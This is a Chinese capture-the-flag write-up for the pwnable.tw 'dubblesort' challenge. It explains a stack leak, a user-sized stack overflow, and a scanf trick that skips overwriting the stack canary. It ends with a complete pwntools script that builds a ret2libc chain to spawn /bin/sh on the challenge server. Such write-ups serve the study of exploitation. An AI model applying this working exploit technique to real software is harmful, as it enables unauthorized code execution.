用到了scanf函数的一个比较少见的漏洞。靶机环境是glibc-2.23。
原题地址:https://pwnable.tw/challenge/ 。
源程序下载:http://file.eonew.cn/ctf/pwn/dubblesort.zip 。
目录
安全防护
ex@Ex:~/test$ checksec dubblesort
[*] '/home/ex/test/dubblesort'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
溢出点
read(0, &buf, 0x40u);
__printf_chk(1, "Hello %s,How many numbers do you what to sort :", &buf);
用read
函数读取,没有null
截断,可以泄露栈信息。
do
{
__printf_chk(1, "Enter the %d number : ", v5);
fflush(stdout);
__isoc99_scanf("%u", v4);
++v5;
v3 = v11;
++v4;
}
while ( v11 > v5 );
输入的数目由用户确定,数目过大就会导致栈溢出。
分析
如果没有stack guard
的话,这就是一个简单的栈溢出,但是程序有stack guard
,这时就需要我们要保证输入的时候stack guard
不会变,这里就要用到scanf
的一个小技巧。
如果直接输入非法字符的话,由于程序没有对输入流进行清空,所以之后的scanf
也都会是非法字符,也就是意味着后面的输入全部无效,但是输入+
或者-
时是被当成一次有效输入,由于我们仅仅输入+
或者-
并不能直接获得一个有效数值,所以本次scanf
也作为无效看待,这样就能保证stack guard
不会被修改,当进行下一次scanf
的时候,识别到输入流不完整也会继续I/o
中断等待输入。
思路
- 泄露地址
- 栈溢出
脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}* .payload.sw*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# Create a symbol file for GDB debugging
try:
gdb_symbols = '''
'''
f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)
# context.arch = "amd64"
context.arch = "i386"
context.log_level = 'debug'
execve_file = './dubblesort'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
sh = remote('chall.pwnable.tw', 10101)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
# Create temporary files for GDB debugging
try:
gdbscript = '''
b *$rebase(0xAFE)
b *$rebase(0xB17)
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)
# pause()
sh.send('a' * 0x19)
sh.recvuntil('a' * 0x18)
libc_addr = (u32(sh.recvn(4)) & 0xfffff000) - 0x1b0000
log.success('libc_addr: ' + hex(libc_addr))
sh.recvn(4)
image_addr = u32(sh.recvn(4)) - 0x601
log.success('image_addr: ' + hex(image_addr))
# pause()
sh.sendlineafter('How many numbers do you what to sort :', '35')
for i in range(24):
sh.sendlineafter('number : ', str(1))
sh.sendlineafter('number : ', '+')
for i in range(9):
sh.sendlineafter('number : ', str(libc_addr + libc.symbols['system']))
sh.sendlineafter('number : ', str(libc_addr + libc.search('/bin/sh\0').next()))
sh.interactive()
clear()